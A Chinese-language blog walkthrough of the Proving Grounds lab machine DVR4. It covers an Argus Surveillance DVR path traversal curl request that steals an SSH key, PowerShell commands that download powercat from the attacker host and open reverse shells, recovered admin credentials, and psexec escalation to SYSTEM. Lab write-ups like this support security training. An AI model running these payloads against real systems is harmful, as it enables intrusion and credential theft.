Proving Grounds Practice : DVR4 Walkthrough

Proving Grounds Practice : DVR4 Walkthrough 


Foothole (立足點 ) :

  • Nmap 發現 8080 Port 顯示 Argus Surveillance DVR
  • Searchsploit 後發現有兩個可以利用,其中一個是 Path Traversal 另一個是破解弱密碼(但不包含特殊字元)
  • 開網頁在 User 頁面發現兩個帳號 Administrator & Viewer,自作聰明改了密碼是個錯誤
  • 目錄遍歷第一步通常是 /etc/passwd 但這是一台 Windows 伺服器所以改查找 C:\Users\<使用者>\.ssh\id_rsa
  • 要注意 PoC 的內容只要改路徑那一段做 URL Encode 其他要符合原本 PoC 的內容
  • 發現 Viewer 的 Private Key,複製後使用 ssh -i 成功登入


PE ( 提權 ) :

  • 登入後 PE 枚舉階段沒有重大發現
  • 後來在 DVR 另一個 Exploit 中發現密碼存放路徑擋 DVRParams.ini
  • 讀取後發現兩個密碼,使用 Exploit code 進行破解
  • 一個正常破解另一個保留了一個不知道是甚麼的特殊字元(Exploit 裡面作者自己有提到)
  • 使用 crackmapexec 進行測試後發現有權限的組合是 administrator:14WatchD0g$
  • impacket-psexec 直接進去了


注意事項 :

  • Argus Surveillance DVR 預設跑在 8080 Port 上且有 Path Traversal 可以利用
  • Windows 有開 22 Port SSH 要記得列舉 C:\Users\<使用者>\.ssh\id_rsa
  • 要想到還有其他 Exploit 可能可以利用,本題就是用在提權


Kali IP : 192.168.45.167

靶機 IP : 192.168.173.179


第一步 Ruststan,└─$ rustscan -a 192.168.173.179 --scripts none --ulimit 5000 | tee rustscan



snmp closed,└─$ sudo nmap -sU -p 161 192.168.173.179 | tee snmp       


snmp 確認,└─$ sudo nmap -sCV -A -Pn -p 22,135,139,445,5040,7680,8080,49665,49664,49666,49667,49668,49669 192.168.173.179 | tee nmap

22 Port SSH,但有 Windows RPC,看來是一台開了 SSH 的 Windows 伺服器
8080 Actual Drawing 6.0,http-title: Argus Surveillance DVR


enum4linux without credentail,└─$ enum4linux -a 192.168.173.179 | tee enum4linux                       
沒驗證爬不到甚麼東西


whatweb,└─$ whatweb http://192.168.173.179:8080 | tee whatweb


8080 /,看來是個監視器網頁 UI



8080 /robots.txt 沒有東西



gobuster,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.173.179:8080 -c -t 150 --exclude-length 178 -x txt,pdf,git,php | tee gobuster
甚麼都回 Status 200,看來沒多大作用

8080 /Users.html
發現兩個帳號 Administrator、Viewer


可以改密碼,將兩個密碼都改 Oscp#1234



crackmapexec 兩個帳號都失敗,看來那個是網站的密碼不是 Windows 的密碼



弱點查找看看,└─$ searchsploit Argus Surveillance DVR

沒有 RCE 但有 Path Traversal 看一下吧



直接提供了 PoC,curl "http://VICTIM-IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="


直接跑跑看,看來可行但沒有有用的資訊
curl "http://192.168.173.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="


Windows 會開 SSH 所以可以是是看列舉 id_rsa 看看有無機會,administrator 的不存在


改列舉 /Users/Viewer/.ssh/id_rsa 試試看,拿到使用者 Viewer 的 Privete KEY 了

curl "http://192.168.173.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FViewer%2F.ssh%2Fid_rsa&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="



修改權限為 600 後測試登入,└─$ ssh -i id_rsa viewer@192.168.173.179 -p 22,進去了



載入 nc64.exe 背景執行 reverse shell 回來失敗沒有權限,那就直接跑 nc 試試看



 成功進來了



改用 powershell 建立 reverse shell 是成功的,powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.167/powercat.ps1'); powercat -c 192.168.45.167 -p 4445 -e powershell"


whoami /priv



systeminfo 沒有權限,看來當前的使用者權限極低




之前在弱點查找時有另外一個 50130 是 Weak Password Encryption



告知在此路徑 C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini

可以列舉出若密碼,但有說他很懶所以不列舉特殊符號

# I'm too lazy to add special characters :P



查看該檔案 DVRParams.ini 看來有兩個 Password

兩個值都一樣,看來是剛剛透過網頁去改成 Oscp#1234 的結果

這樣無法列舉出來原本的密碼



將機器重開再看一次該檔案,兩個密碼如下
Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8
Password1=5E534D7B6069F641E03BD9BD956BC875EB603CD9D8E1BD8FAAFE


python code 裡面有寫要將 HASH 寫在裡面,所以要產生兩個檔案去跑看看密碼


第一個跑完得到 14WatchD0g? 最後一碼不知道,看來是很懶得解的特殊文字

[+] ECB4:1

[+] 53D1:4

[+] 6069:W

[+] F641:a

[+] E03B:t

[+] D9BD:c

[+] 956B:h

[+] FE36:D

[+] BD8F:0

[+] 3CD9:g

[-] D9A8:Unknown




第二個跑完得到 ImWatchingYou

[+] 5E53:I

[+] 4D7B:m

[+] 6069:W

[+] F641:a

[+] E03B:t

[+] D9BD:c

[+] 956B:h

[+] C875:i

[+] EB60:n

[+] 3CD9:g

[+] D8E1:Y

[+] BD8F:0

[+] AAFE:u


兩組帳號密碼

1. 14WatchD0g?  --> 最後一碼是特殊符號,但不知道是甚麼

2. ImWatchingYou

crackmapexec 測試第二組沒有用



第一組開始測試特殊符號 ~!@#$%^&*()_

測試到 $ 發現 administrator:14WatchD0g$ 可以登入且是管理者



└─$ impacket-psexec administrator:'14WatchD0g$'@192.168.173.179

進去就是管理者了 nt authority\system



補充說明 :

載入 Invoke-RunasCs.ps1 在既有 session 查看一下該組帳號密碼的權限
是本機的 administrator


有帳號密碼但是無法登入的時後可以直接用 Invoke-RunasCs 建一個 Reverse shell 4445 回來,Invoke-RunasCs -Username administrator -Password '14WatchD0g$' -Command "Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.167/powercat.ps1');powercat -c 192.168.45.167 -p 4445 -e cmd"





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)